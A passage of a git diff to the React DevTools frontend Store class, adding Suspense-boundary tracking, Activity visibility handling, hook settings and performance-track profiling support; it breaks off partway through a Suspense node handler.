+  return rect.width > 0 || rect.height > 0 || rect.x > 0 || rect.y > 0;
+}
+
 /**
  * The store is the single source of truth for updates from the backend.
  * ContextProviders can subscribe to the Store for specific things they want to provide.
@@ -94,11 +148,22 @@ export default class Store extends EventEmitter<{
   collapseNodesByDefault: [],
   componentFilters: [],
   error: [Error],
-  mutated: [[Array<number>, Map<number, number>]],
+  hookSettings: [$ReadOnly<DevToolsHookSettings>],
+  hostInstanceSelected: [Element['id'] | null],
+  settingsUpdated: [$ReadOnly<DevToolsHookSettings>, Array<ComponentFilter>],
+  mutated: [
+    [
+      Array<Element['id']>,
+      Map<Element['id'], Element['id']>,
+      Element['id'] | null,
+    ],
+  ],
   recordChangeDescriptions: [],
   roots: [],
   rootSupportsBasicProfiling: [],
   rootSupportsTimelineProfiling: [],
+  rootSupportsPerformanceTracks: [],
+  suspenseTreeMutated: [[Map<SuspenseNode['id'], SuspenseNode['id']>]],
   supportsNativeStyleEditor: [],
   supportsReloadAndProfile: [],
   unsupportedBridgeProtocolDetected: [],
@@ -111,8 +176,8 @@ export default class Store extends EventEmitter<{
   _bridge: FrontendBridge;
 
   // Computed whenever _errorsAndWarnings Map changes.
-  _cachedErrorCount: number = 0;
-  _cachedWarningCount: number = 0;
+  _cachedComponentWithErrorCount: number = 0;
+  _cachedComponentWithWarningCount: number = 0;
   _cachedErrorAndWarningTuples: ErrorAndWarningTuples | null = null;
 
   // Should new nodes be collapsed by default when added to the tree?
@@ -121,8 +186,12 @@ export default class Store extends EventEmitter<{
   _componentFilters: Array<ComponentFilter>;
 
   // Map of ID to number of recorded error and warning message IDs.
-  _errorsAndWarnings: Map<number, {errorCount: number, warningCount: number}> =
-    new Map();
+  _errorsAndWarnings: Map<
+    Element['id'],
+    {errorCount: number, warningCount: number},
+  > = new Map();
+
+  _focusedTransition: 0 | Element['id'] = 0;
 
   // At least one of the injected renderers contains (DEV only) owner metadata.
   _hasOwnerMetadata: boolean = false;
@@ -130,21 +199,13 @@ export default class Store extends EventEmitter<{
   // Map of ID to (mutable) Element.
   // Elements are mutated to avoid excessive cloning during tree updates.
   // The InspectedElement Suspense cache also relies on this mutability for its WeakMap usage.
-  _idToElement: Map<number, Element> = new Map();
+  _idToElement: Map<Element['id'], Element> = new Map();
+
+  _idToSuspense: Map<SuspenseNode['id'], SuspenseNode> = new Map();
 
   // Should the React Native style editor panel be shown?
   _isNativeStyleEditorSupported: boolean = false;
 
-  // Can the backend use the Storage API (e.g. localStorage)?
-  // If not, features like reload-and-profile will not work correctly and must be disabled.
-  _isBackendStorageAPISupported: boolean = false;
-
-  // Can DevTools use sync XHR requests?
-  // If not, features like reload-and-profile will not work correctly and must be disabled.
-  // This current limitation applies only to web extension builds
-  // and will need to be reconsidered in the future if we add support for reload to React Native.
-  _isSynchronousXHRSupported: boolean = false;
-
   _nativeStyleEditorValidAttributes: $ReadOnlyArray<string> | null = null;
 
   // Older backends don't support an explicit bridge protocol,
@@ -153,7 +214,7 @@ export default class Store extends EventEmitter<{
 
   // Map of element (id) to the set of elements (ids) it owns.
   // This map enables getOwnersListForElement() to avoid traversing the entire tree.
-  _ownersMap: Map<number, Set<number>> = new Map();
+  _ownersMap: Map<Element['id'], Set<Element['id']>> = new Map();
 
   _profilerStore: ProfilerStore;
 
@@ -162,26 +223,33 @@ export default class Store extends EventEmitter<{
   // Incremented each time the store is mutated.
   // This enables a passive effect to detect a mutation between render and commit phase.
   _revision: number = 0;
+  _revisionSuspense: number = 0;
 
   // This Array must be treated as immutable!
   // Passive effects will check it for changes between render and mount.
-  _roots: $ReadOnlyArray<number> = [];
+  _roots: $ReadOnlyArray<Element['id']> = [];
 
-  _rootIDToCapabilities: Map<number, Capabilities> = new Map();
+  _rootIDToCapabilities: Map<Element['id'], Capabilities> = new Map();
 
   // Renderer ID is needed to support inspection fiber props, state, and hooks.
-  _rootIDToRendererID: Map<number, number> = new Map();
+  _rootIDToRendererID: Map<Element['id'], number> = new Map();
+
+  // Stores all the SuspenseNode rects in an R-tree to make it fast to find overlaps.
+  _rtree: RBush<Rect> = new RectRBush();
 
   // These options may be initially set by a configuration option when constructing the Store.
   _supportsInspectMatchingDOMElement: boolean = false;
   _supportsClickToInspect: boolean = false;
-  _supportsReloadAndProfile: boolean = false;
   _supportsTimeline: boolean = false;
   _supportsTraceUpdates: boolean = false;
 
+  _isReloadAndProfileFrontendSupported: boolean = false;
+  _isReloadAndProfileBackendSupported: boolean = false;
+
   // These options default to false but may be updated as roots are added and removed.
   _rootSupportsBasicProfiling: boolean = false;
   _rootSupportsTimelineProfiling: boolean = false;
+  _rootSupportsPerformanceTracks: boolean = false;
 
   _bridgeProtocol: BridgeProtocol | null = null;
   _unsupportedBridgeProtocolDetected: boolean = false;
@@ -191,6 +259,17 @@ export default class Store extends EventEmitter<{
   // Used for windowing purposes.
   _weightAcrossRoots: number = 0;
 
+  _shouldCheckBridgeProtocolCompatibility: boolean = false;
+  _hookSettings: $ReadOnly<DevToolsHookSettings> | null = null;
+  _shouldShowWarningsAndErrors: boolean = false;
+
+  // Only used in browser extension for synchronization with built-in Elements panel.
+  _lastSelectedHostInstanceElementId: Element['id'] | null = null;
+
+  // Maximum recorded node depth during the lifetime of this Store.
+  // Can only increase: not guaranteed to return maximal value for currently recorded elements.
+  _maximumRecordedDepth = 0;
+
   constructor(bridge: FrontendBridge, config?: Config) {
     super();
 
@@ -218,6 +297,7 @@ export default class Store extends EventEmitter<{
         supportsReloadAndProfile,
         supportsTimeline,
         supportsTraceUpdates,
+        checkBridgeProtocolCompatibility,
       } = config;
       if (supportsInspectMatchingDOMElement) {
         this._supportsInspectMatchingDOMElement = true;
@@ -226,7 +306,7 @@ export default class Store extends EventEmitter<{
         this._supportsClickToInspect = true;
       }
       if (supportsReloadAndProfile) {
-        this._supportsReloadAndProfile = true;
+        this._isReloadAndProfileFrontendSupported = true;
       }
       if (supportsTimeline) {
         this._supportsTimeline = true;
@@ -234,27 +314,22 @@ export default class Store extends EventEmitter<{
       if (supportsTraceUpdates) {
         this._supportsTraceUpdates = true;
       }
+      if (checkBridgeProtocolCompatibility) {
+        this._shouldCheckBridgeProtocolCompatibility = true;
+      }
     }
 
     this._bridge = bridge;
     bridge.addListener('operations', this.onBridgeOperations);
-    bridge.addListener(
-      'overrideComponentFilters',
-      this.onBridgeOverrideComponentFilters,
-    );
     bridge.addListener('shutdown', this.onBridgeShutdown);
     bridge.addListener(
-      'isBackendStorageAPISupported',
-      this.onBackendStorageAPISupported,
+      'isReloadAndProfileSupportedByBackend',
+      this.onBackendReloadAndProfileSupported,
     );
     bridge.addListener(
       'isNativeStyleEditorSupported',
       this.onBridgeNativeStyleEditorSupported,
     );
-    bridge.addListener(
-      'isSynchronousXHRSupported',
-      this.onBridgeSynchronousXHRSupported,
-    );
     bridge.addListener(
       'unsupportedRendererVersion',
       this.onBridgeUnsupportedRendererVersion,
@@ -262,24 +337,11 @@ export default class Store extends EventEmitter<{
 
     this._profilerStore = new ProfilerStore(bridge, this, isProfiling);
 
-    // Verify that the frontend version is compatible with the connected backend.
-    // See github.com/facebook/react/issues/21326
-    if (config != null && config.checkBridgeProtocolCompatibility) {
-      // Older backends don't support an explicit bridge protocol,
-      // so we should timeout eventually and show a downgrade message.
-      this._onBridgeProtocolTimeoutID = setTimeout(
-        this.onBridgeProtocolTimeout,
-        10000,
-      );
-
-      bridge.addListener('bridgeProtocol', this.onBridgeProtocol);
-      bridge.send('getBridgeProtocol');
-    }
-
     bridge.addListener('backendVersion', this.onBridgeBackendVersion);
-    bridge.send('getBackendVersion');
-
     bridge.addListener('saveToClipboard', this.onSaveToClipboard);
+    bridge.addListener('hookSettings', this.onHookSettings);
+    bridge.addListener('backendInitialized', this.onBackendInitialized);
+    bridge.addListener('selectElement', this.onHostInstanceSelected);
   }
 
   // This is only used in tests to avoid memory leaks.
@@ -339,7 +401,7 @@ export default class Store extends EventEmitter<{
     return this._componentFilters;
   }
   set componentFilters(value: Array<ComponentFilter>): void {
-    if (this._profilerStore.isProfiling) {
+    if (this._profilerStore.isProfilingBasedOnUserInput) {
       // Re-mounting a tree while profiling is in progress might break a lot of assumptions.
       // If necessary, we could support this- but it doesn't seem like a necessary use case.
       this._throwAndEmitError(
@@ -370,8 +432,23 @@ export default class Store extends EventEmitter<{
 
     this._componentFilters = value;
 
-    // Update persisted filter preferences stored in localStorage.
+    // Update persisted filter preferences
     setSavedComponentFilters(value);
+    if (this._hookSettings === null) {
+      // We changed filters before we got the hook settings.
+      // Wait for hook settings before persisting component filters to not overwrite
+      // persisted hook settings with defaults.
+      // This exists purely as a type safety check; in practice the hook settings
+      // should have arrived before any filter changes could be made.
+      const onHookSettings = (settings: $ReadOnly<DevToolsHookSettings>) => {
+        this._bridge.removeListener('hookSettings', onHookSettings);
+        this.emit('settingsUpdated', settings, value);
+      };
+      this._bridge.addListener('hookSettings', onHookSettings);
+      this._bridge.send('getHookSettings');
+    } else {
+      this.emit('settingsUpdated', this._hookSettings, value);
+    }
 
     // Notify the renderer that filter preferences have changed.
     // This is an expensive operation; it unmounts and remounts the entire tree,
@@ -387,8 +464,24 @@ export default class Store extends EventEmitter<{
     return this._bridgeProtocol;
   }
 
-  get errorCount(): number {
-    return this._cachedErrorCount;
+  get componentWithErrorCount(): number {
+    if (!this._shouldShowWarningsAndErrors) {
+      return 0;
+    }
+
+    return this._cachedComponentWithErrorCount;
+  }
+
+  get componentWithWarningCount(): number {
+    if (!this._shouldShowWarningsAndErrors) {
+      return 0;
+    }
+
+    return this._cachedComponentWithWarningCount;
+  }
+
+  get displayingErrorsAndWarningsEnabled(): boolean {
+    return this._shouldShowWarningsAndErrors;
   }
 
   get hasOwnerMetadata(): boolean {
@@ -424,6 +517,9 @@ export default class Store extends EventEmitter<{
   get revision(): number {
     return this._revision;
   }
+  get revisionSuspense(): number {
+    return this._revisionSuspense;
+  }
 
   get rootIDToRendererID(): Map<number, number> {
     return this._rootIDToRendererID;
@@ -443,6 +539,11 @@ export default class Store extends EventEmitter<{
     return this._rootSupportsTimelineProfiling;
   }
 
+  // At least one of the currently mounted roots support performance tracks.
+  get rootSupportsPerformanceTracks(): boolean {
+    return this._rootSupportsPerformanceTracks;
+  }
+
   get supportsInspectMatchingDOMElement(): boolean {
     return this._supportsInspectMatchingDOMElement;
   }
@@ -456,13 +557,9 @@ export default class Store extends EventEmitter<{
   }
 
   get supportsReloadAndProfile(): boolean {
-    // Does the DevTools shell support reloading and eagerly injecting the renderer interface?
-    // And if so, can the backend use the localStorage API and sync XHR?
-    // All of these are currently required for the reload-and-profile feature to work.
     return (
-      this._supportsReloadAndProfile &&
-      this._isBackendStorageAPISupported &&
-      this._isSynchronousXHRSupported
+      this._isReloadAndProfileFrontendSupported &&
+      this._isReloadAndProfileBackendSupported
     );
   }
 
@@ -484,8 +581,8 @@ export default class Store extends EventEmitter<{
     return this._unsupportedRendererVersionDetected;
   }
 
-  get warningCount(): number {
-    return this._cachedWarningCount;
+  get lastSelectedHostInstanceElementId(): Element['id'] | null {
+    return this._lastSelectedHostInstanceElementId;
   }
 
   containsElement(id: number): boolean {
@@ -584,8 +681,26 @@ export default class Store extends EventEmitter<{
     return element;
   }
 
+  containsSuspense(id: SuspenseNode['id']): boolean {
+    return this._idToSuspense.has(id);
+  }
+
+  getSuspenseByID(id: SuspenseNode['id']): SuspenseNode | null {
+    const suspense = this._idToSuspense.get(id);
+    if (suspense === undefined) {
+      console.warn(`No suspense found with id "${id}"`);
+      return null;
+    }
+
+    return suspense;
+  }
+
   // Returns a tuple of [id, index]
-  getElementsWithErrorsAndWarnings(): Array<{id: number, index: number}> {
+  getElementsWithErrorsAndWarnings(): ErrorAndWarningTuples {
+    if (!this._shouldShowWarningsAndErrors) {
+      return [];
+    }
+
     if (this._cachedErrorAndWarningTuples !== null) {
       return this._cachedErrorAndWarningTuples;
     }
@@ -619,6 +734,10 @@ export default class Store extends EventEmitter<{
     errorCount: number,
     warningCount: number,
   } {
+    if (!this._shouldShowWarningsAndErrors) {
+      return {errorCount: 0, warningCount: 0};
+    }
+
     return this._errorsAndWarnings.get(id) || {errorCount: 0, warningCount: 0};
   }
 
@@ -687,6 +806,50 @@ export default class Store extends EventEmitter<{
     return index;
   }
 
+  isDescendantOf(parentId: number, descendantId: number): boolean {
+    if (descendantId === 0) {
+      return false;
+    }
+
+    const descendant = this.getElementByID(descendantId);
+    if (descendant === null) {
+      return false;
+    }
+
+    if (descendant.parentID === parentId) {
+      return true;
+    }
+
+    const parent = this.getElementByID(parentId);
+    if (!parent || parent.depth >= descendant.depth) {
+      return false;
+    }
+
+    return this.isDescendantOf(parentId, descendant.parentID);
+  }
+
+  /**
+   * Returns index of the lowest descendant element, if available.
+   * May not be the deepest element, the lowest is used in a sense of bottom-most from UI Tree representation perspective.
+   */
+  getIndexOfLowestDescendantElement(element: Element): number | null {
+    let current: null | Element = element;
+    while (current !== null) {
+      if (current.isCollapsed || current.children.length === 0) {
+        if (current === element) {
+          return null;
+        }
+
+        return this.getIndexOfElementID(current.id);
+      } else {
+        const lastChildID = current.children[current.children.length - 1];
+        current = this.getElementByID(lastChildID);
+      }
+    }
+
+    return null;
+  }
+
   getOwnersListForElement(ownerID: number): Array<Element> {
     const list: Array<Element> = [];
     const element = this._idToElement.get(ownerID);
@@ -751,6 +914,297 @@ export default class Store extends EventEmitter<{
     return list;
   }
 
+  getSuspenseLineage(
+    suspenseID: SuspenseNode['id'],
+  ): $ReadOnlyArray<SuspenseNode['id']> {
+    const lineage: Array<SuspenseNode['id']> = [];
+    let next: null | SuspenseNode = this.getSuspenseByID(suspenseID);
+    while (next !== null) {
+      if (next.parentID === 0) {
+        next = null;
+      } else {
+        lineage.unshift(next.id);
+        next = this.getSuspenseByID(next.parentID);
+      }
+    }
+
+    return lineage;
+  }
+
+  /**
+   * Like {@link getRootIDForElement} but should be used for traversing Suspense since it works with disconnected nodes.
+   */
+  getSuspenseRootIDForSuspense(id: SuspenseNode['id']): number | null {
+    let current = this._idToSuspense.get(id);
+    while (current !== undefined) {
+      if (current.parentID === 0) {
+        return current.id;
+      } else {
+        current = this._idToSuspense.get(current.parentID);
+      }
+    }
+    return null;
+  }
+
+  /**
+   * @param uniqueSuspendersOnly Filters out boundaries without unique suspenders
+   */
+  getSuspendableDocumentOrderSuspenseInitialPaint(
+    uniqueSuspendersOnly: boolean,
+  ): Array<SuspenseTimelineStep> {
+    const target: Array<SuspenseTimelineStep> = [];
+    const roots = this.roots;
+    let rootStep: null | SuspenseTimelineStep = null;
+    for (let i = 0; i < roots.length; i++) {
+      const rootID = roots[i];
+      const root = this.getElementByID(rootID);
+      if (root === null) {
+        continue;
+      }
+      const rendererID = this._rootIDToRendererID.get(rootID);
+      if (rendererID === undefined) {
+        throw new Error(
+          'Failed to find renderer ID for root. This is a bug in React DevTools.',
+        );
+      }
+      // TODO: This includes boundaries that can't be suspended due to no support from the renderer.
+
+      const suspense = this.getSuspenseByID(rootID);
+      if (suspense !== null) {
+        const environments = suspense.environments;
+        const environmentName =
+          environments.length > 0
+            ? environments[environments.length - 1]
+            : null;
+        if (rootStep === null) {
+          // Arbitrarily use the first root as the root step id.
+          rootStep = {
+            id: suspense.id,
+            environment: environmentName,
+            endTime: suspense.endTime,
+            rendererID,
+          };
+          target.push(rootStep);
+        } else {
+          if (rootStep.environment === null) {
+            // If any root has an environment name, then let's use it.
+            rootStep.environment = environmentName;
+          }
+          if (suspense.endTime > rootStep.endTime) {
+            // If any root has a higher end time, let's use that.
+            rootStep.endTime = suspense.endTime;
+          }
+        }
+        this.pushTimelineStepsInDocumentOrder(
+          suspense.children,
+          target,
+          uniqueSuspendersOnly,
+          environments,
+          0, // Don't pass a minimum end time at the root. The root is always first so doesn't matter.
+          rendererID,
+        );
+      }
+    }
+
+    return target;
+  }
+
+  _pushSuspenseChildrenInDocumentOrder(
+    children: Array<Element['id']>,
+    target: Array<SuspenseNode['id']>,
+  ): void {
+    for (let i = 0; i < children.length; i++) {
+      const childID = children[i];
+      const suspense = this._idToSuspense.get(childID);
+      if (suspense !== undefined) {
+        target.push(suspense.id);
+      } else {
+        const childElement = this._idToElement.get(childID);
+        if (childElement !== undefined) {
+          this._pushSuspenseChildrenInDocumentOrder(
+            childElement.children,
+            target,
+          );
+        }
+      }
+    }
+  }
+
+  getSuspenseChildren(id: Element['id']): Array<SuspenseNode['id']> {
+    const transitionChildren: Array<SuspenseNode['id']> = [];
+
+    const root = this._idToElement.get(id);
+    if (root === undefined) {
+      return transitionChildren;
+    }
+
+    this._pushSuspenseChildrenInDocumentOrder(
+      root.children,
+      transitionChildren,
+    );
+
+    return transitionChildren;
+  }
+
+  /**
+   * @param uniqueSuspendersOnly Filters out boundaries without unique suspenders
+   */
+  getSuspendableDocumentOrderSuspenseTransition(
+    uniqueSuspendersOnly: boolean,
+    rendererID: number,
+  ): Array<SuspenseTimelineStep> {
+    const target: Array<SuspenseTimelineStep> = [];
+    const focusedTransitionID = this._focusedTransition;
+    if (focusedTransitionID === null) {
+      return target;
+    }
+
+    target.push({
+      id: focusedTransitionID,
+      // TODO: Get environment for Activity
+      environment: null,
+      endTime: 0,
+      rendererID,
+    });
+
+    const transitionChildren = this.getSuspenseChildren(focusedTransitionID);
+
+    this.pushTimelineStepsInDocumentOrder(
+      transitionChildren,
+      target,
+      uniqueSuspendersOnly,
+      // TODO: Get environment for Activity
+      [],
+      0, // Don't pass a minimum end time at the root. The root is always first so doesn't matter.
+      rendererID,
+    );
+
+    return target;
+  }
+
+  pushTimelineStepsInDocumentOrder(
+    children: Array<SuspenseNode['id']>,
+    target: Array<SuspenseTimelineStep>,
+    uniqueSuspendersOnly: boolean,
+    parentEnvironments: Array<string>,
+    parentEndTime: number,
+    rendererID: number,
+  ): void {
+    for (let i = 0; i < children.length; i++) {
+      const child = this.getSuspenseByID(children[i]);
+      if (child === null) {
+        continue;
+      }
+      // Ignore any suspense boundaries that has no visual representation as this is not
+      // part of the visible loading sequence.
+      // TODO: Consider making visible meta data and other side-effects get virtual rects.
+      const hasRects =
+        child.rects !== null &&
+        child.rects.length > 0 &&
+        child.rects.some(isNonZeroRect);
+      const childEnvironments = child.environments;
+      // Since children are blocked on the parent, they're also blocked by the parent environments.
+      // Only if we discover a novel environment do we add that and it becomes the name we use.
+      const unionEnvironments = unionOfTwoArrays(
+        parentEnvironments,
+        childEnvironments,
+      );
+      const environmentName =
+        unionEnvironments.length > 0
+          ? unionEnvironments[unionEnvironments.length - 1]
+          : null;
+      // The end time of a child boundary can in effect never be earlier than its parent even if
+      // everything unsuspended before that.
+      const maxEndTime =
+        parentEndTime > child.endTime ? parentEndTime : child.endTime;
+      if (hasRects && (!uniqueSuspendersOnly || child.hasUniqueSuspenders)) {
+        target.push({
+          id: child.id,
+          environment: environmentName,
+          endTime: maxEndTime,
+          rendererID,
+        });
+      }
+      this.pushTimelineStepsInDocumentOrder(
+        child.children,
+        target,
+        uniqueSuspendersOnly,
+        unionEnvironments,
+        maxEndTime,
+        rendererID,
+      );
+    }
+  }
+
+  getEndTimeOrDocumentOrderSuspense(
+    uniqueSuspendersOnly: boolean,
+  ): $ReadOnlyArray<SuspenseTimelineStep> {
+    let timeline: SuspenseTimelineStep[];
+    if (this._focusedTransition === 0) {
+      timeline =
+        this.getSuspendableDocumentOrderSuspenseInitialPaint(
+          uniqueSuspendersOnly,
+        );
+    } else {
+      const focusedTransitionRootID = this.getRootIDForElement(
+        this._focusedTransition,
+      );
+      if (focusedTransitionRootID === null) {
+        throw new Error(
+          'Failed to find root ID for focused transition. This is a bug in React DevTools.',
+        );
+      }
+      const rendererID = this._rootIDToRendererID.get(focusedTransitionRootID);
+      if (rendererID === undefined) {
+        throw new Error(
+          'Failed to find renderer ID for focused transition root. This is a bug in React DevTools.',
+        );
+      }
+      timeline = this.getSuspendableDocumentOrderSuspenseTransition(
+        uniqueSuspendersOnly,
+        rendererID,
+      );
+    }
+
+    if (timeline.length === 0) {
+      return timeline;
+    }
+    const root = timeline[0];
+    // We mutate in place since we assume we've got a fresh array.
+    timeline.sort((a, b) => {
+      // Root is always first
+      return a === root ? -1 : b === root ? 1 : a.endTime - b.endTime;
+    });
+    return timeline;
+  }
+
+  getActivities(): Array<{id: Element['id'], depth: number}> {
+    const target: Array<{id: Element['id'], depth: number}> = [];
+    // TODO: Keep a live tree in the backend so we don't need to recalculate
+    // this each time while also including filtered Activities.
+    this._pushActivitiesInDocumentOrder(this.roots, target, 0);
+    return target;
+  }
+
+  _pushActivitiesInDocumentOrder(
+    children: $ReadOnlyArray<Element['id']>,
+    target: Array<{id: Element['id'], depth: number}>,
+    depth: number,
+  ): void {
+    for (let i = 0; i < children.length; i++) {
+      const child = this._idToElement.get(children[i]);
+      if (child === undefined) {
+        continue;
+      }
+      if (child.type === ElementTypeActivity && child.nameProp !== null) {
+        target.push({id: child.id, depth});
+        this._pushActivitiesInDocumentOrder(child.children, target, depth + 1);
+      } else {
+        this._pushActivitiesInDocumentOrder(child.children, target, depth);
+      }
+    }
+  }
+
   getRendererIDForElement(id: number): number | null {
     let current = this._idToElement.get(id);
     while (current !== undefined) {
@@ -864,7 +1318,7 @@ export default class Store extends EventEmitter<{
         // The Tree context's search reducer expects an explicit list of ids for nodes that were added or removed.
         // In this  case, we can pass it empty arrays since nodes in a collapsed tree are still there (just hidden).
         // Updating the selected search index later may require auto-expanding a collapsed subtree though.
-        this.emit('mutated', [[], new Map()]);
+        this.emit('mutated', [[], new Map(), null]);
       }
     }
   }
@@ -926,14 +1380,18 @@ export default class Store extends EventEmitter<{
 
     let haveRootsChanged = false;
     let haveErrorsOrWarningsChanged = false;
+    let hasSuspenseTreeChanged = false;
 
     // The first two values are always rendererID and rootID
     const rendererID = operations[0];
 
     const addedElementIDs: Array<number> = [];
     // This is a mapping of removed ID -> parent ID:
-    const removedElementIDs: Map<number, number> = new Map();
     // We'll use the parent ID to adjust selection if it gets deleted.
+    const removedElementIDs: Map<number, number> = new Map();
+    const removedSuspenseIDs: Map<SuspenseNode['id'], SuspenseNode['id']> =
+      new Map();
+    let nextActivitySliceID: Element['id'] | null = null;
 
     let i = 2;
 
@@ -984,11 +1442,20 @@ export default class Store extends EventEmitter<{
             const isStrictModeCompliant = operations[i] > 0;
             i++;
 
+            const profilerFlags = operations[i++];
             const supportsBasicProfiling =
-              (operations[i] & PROFILING_FLAG_BASIC_SUPPORT) !== 0;
+              (profilerFlags & PROFILING_FLAG_BASIC_SUPPORT) !== 0;
             const supportsTimeline =
-              (operations[i] & PROFILING_FLAG_TIMELINE_SUPPORT) !== 0;
-            i++;
+              (profilerFlags & PROFILING_FLAG_TIMELINE_SUPPORT) !== 0;
+            const supportsPerformanceTracks =
+              (profilerFlags & PROFILING_FLAG_PERFORMANCE_TRACKS_SUPPORT) !== 0;
+            let supportsAdvancedProfiling: AdvancedProfiling =
+              ADVANCED_PROFILING_NONE;
+            if (supportsPerformanceTracks) {
+              supportsAdvancedProfiling = ADVANCED_PROFILING_PERFORMANCE_TRACKS;
+            } else if (supportsTimeline) {
+              supportsAdvancedProfiling = ADVANCED_PROFILING_TIMELINE;
+            }
 
             let supportsStrictMode = false;
             let hasOwnerMetadata = false;
@@ -1012,7 +1479,7 @@ export default class Store extends EventEmitter<{
               supportsBasicProfiling,
               hasOwnerMetadata,
               supportsStrictMode,
-              supportsTimeline,
+              supportsAdvancedProfiling,
             });
 
             // Not all roots support StrictMode;
@@ -1028,7 +1495,10 @@ export default class Store extends EventEmitter<{
               id,
               isCollapsed: false, // Never collapse roots; it would hide the entire tree.
               isStrictModeNonCompliant,
+              isActivityHidden: false,
+              isInsideHiddenActivity: false,
               key: null,
+              nameProp: null,
               ownerID: 0,
               parentID: 0,
               type,
@@ -1052,6 +1522,10 @@ export default class Store extends EventEmitter<{
             const key = stringTable[keyStringID];
             i++;
 
+            const namePropStringID = operations[i];
+            const nameProp = stringTable[namePropStringID];
+            i++;
+
             if (__DEBUG__) {
               debug(
                 'Add',
@@ -1078,15 +1552,26 @@ export default class Store extends EventEmitter<{
               compiledWithForget,
             } = parseElementDisplayNameFromBackend(displayName, type);
 
+            const elementDepth = parentElement.depth + 1;
+            this._maximumRecordedDepth = Math.max(
+              this._maximumRecordedDepth,
+              elementDepth,
+            );
+
             const element: Element = {
               children: [],
-              depth: parentElement.depth + 1,
+              depth: elementDepth,
               displayName: displayNameWithoutHOCs,
               hocDisplayNames,
               id,
               isCollapsed: this._collapseNodesByDefault,
               isStrictModeNonCompliant: parentElement.isStrictModeNonCompliant,
+              isActivityHidden: false,
+              isInsideHiddenActivity:
+                parentElement.isInsideHiddenActivity ||
+                parentElement.isActivityHidden,
               key,
+              nameProp,
               ownerID,
               parentID,
               type,
@@ -1106,6 +1591,14 @@ export default class Store extends EventEmitter<{
               }
               set.add(id);
             }
+
+            const suspense = this._idToSuspense.get(id);
+            if (suspense !== undefined) {
+              // We're reconnecting a node.
+              if (suspense.name === null) {
+                suspense.name = this._guessSuspenseName(element);
+              }
+            }
           }
           break;
         }
@@ -1188,45 +1681,6 @@ export default class Store extends EventEmitter<{
 
           break;
         }
-        case TREE_OPERATION_REMOVE_ROOT: {
-          i += 1;
-
-          const id = operations[1];
-
-          if (__DEBUG__) {
-            debug(`Remove root ${id}`);
-          }
-
-          const recursivelyDeleteElements = (elementID: number) => {
-            const element = this._idToElement.get(elementID);
-            this._idToElement.delete(elementID);
-            if (element) {
-              // Mostly for Flow's sake
-              for (let index = 0; index < element.children.length; index++) {
-                recursivelyDeleteElements(element.children[index]);
-              }
-            }
-          };
-
-          const root = this._idToElement.get(id);
-          if (root === undefined) {
-            this._throwAndEmitError(
-              Error(
-                `Cannot remove root "${id}": no matching node was found in the Store.`,
-              ),
-            );
-
-            break;
-          }
-
-          recursivelyDeleteElements(id);
-
-          this._rootIDToCapabilities.delete(id);
-          this._rootIDToRendererID.delete(id);
-          this._roots = this._roots.filter(rootID => rootID !== id);
-          this._weightAcrossRoots -= root.weight;
-          break;
-        }
         case TREE_OPERATION_REORDER_CHILDREN: {
           const id = operations[i + 1];
           const numChildren = operations[i + 2];
@@ -1284,6 +1738,42 @@ export default class Store extends EventEmitter<{
             this._recursivelyUpdateSubtree(id, element => {
               element.isStrictModeNonCompliant = false;
             });
+          } else if (mode === ActivityHiddenMode) {
+            const element = this._idToElement.get(id);
+            if (element != null) {
+              element.isActivityHidden = true;
+              element.children.forEach(childID =>
+                this._recursivelyUpdateSubtree(childID, child => {
+                  child.isInsideHiddenActivity = true;
+                }),
+              );
+              // Collapse hidden Activity subtrees by default.
+              if (!element.isCollapsed) {
+                element.isCollapsed = true;
+                if (element.children.length > 0) {
+                  const weightDelta = 1 - element.weight;
+                  const parentElement = this._idToElement.get(element.parentID);
+                  this._adjustParentTreeWeight(parentElement, weightDelta);
+                }
+              }
+            }
+          } else if (mode === ActivityVisibleMode) {
+            const element = this._idToElement.get(id);
+            if (element != null) {
+              element.isActivityHidden = false;
+              element.children.forEach(childID =>
+                this._recursivelyUpdateSubtree(childID, child => {
+                  child.isInsideHiddenActivity = false;
+                }),
+              );
+              // Expand Activity subtree when it becomes visible.
+              if (element.isCollapsed && element.children.length > 0) {
+                element.isCollapsed = false;
+                const weightDelta = element.weight - 1;
+                const parentElement = this._idToElement.get(element.parentID);
+                this._adjustParentTreeWeight(parentElement, weightDelta);
+              }
+            }
           }
 
           if (__DEBUG__) {
@@ -1300,7 +1790,7 @@ export default class Store extends EventEmitter<{
           // The profiler UI uses them lazily in order to generate the tree.
           i += 3;
           break;
-        case TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS:
+        case TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS: {
           const id = operations[i + 1];
           const errorCount = operations[i + 2];
           const warningCount = operations[i + 3];
@@ -1314,6 +1804,344 @@ export default class Store extends EventEmitter<{
           }
           haveErrorsOrWarningsChanged = true;
           break;
+        }
+        case SUSPENSE_TREE_OPERATION_ADD: {
+          const id = operations[i + 1];
+          const parentID = operations[i + 2];
+          const nameStringID = operations[i + 3];
+          const isSuspended = operations[i + 4] === 1;
+          const numRects = ((operations[i + 5]: any): number);
+          let name = stringTable[nameStringID];
+
+          if (this._idToSuspense.has(id)) {
+            this._throwAndEmitError(
+              Error(
+                `Cannot add suspense node "${id}" because a suspense node with that id is already in the Store.`,
+              ),
+            );
+          }
+
+          const element = this._idToElement.get(id);
+          if (element === undefined) {
+            // This element isn't connected yet.
+          } else {
+            if (name === null) {
+              // The boundary isn't explicitly named.
+              // Pick a sensible default.
+              if (parentID === 0) {
+                // For Roots we use their display name.
+                name = element.displayName;
+              } else {
+                name = this._guessSuspenseName(element);
+              }
+            }
+          }
+
+          i += 6;
+          let rects: SuspenseNode['rects'];
+          if (numRects === -1) {
+            rects = null;
+          } else {
+            rects = [];
+            for (let rectIndex = 0; rectIndex < numRects; rectIndex++) {
+              const x = operations[i + 0] / 1000;
+              const y = operations[i + 1] / 1000;
+              const width = operations[i + 2] / 1000;
+              const height = operations[i + 3] / 1000;
+              const rect = {x, y, width, height};
+              if (parentID !== 0) {
+                // Track all rects except the root.
+                this._rtree.insert(rect);
+              }
+              rects.push(rect);
+              i += 4;
+            }
+          }
+
+          if (__DEBUG__) {
+            debug('Suspense Add', `node ${id} as child of ${parentID}`);
+          }
+
+          if (parentID !== 0) {
+            const parentSuspense = this._idToSuspense.get(parentID);
+            if (parentSuspense === undefined) {
+              this._throwAndEmitError(
+                Error(
+                  `Cannot add suspense child "${id}" to parent suspense "${parentID}" because parent suspense node was not found in the Store.`,
+                ),
+              );
+
+              break;
+            }
+
+            parentSuspense.children.push(id);
+          }
+
+          this._idToSuspense.set(id, {
+            id,
+            parentID,
+            children: [],
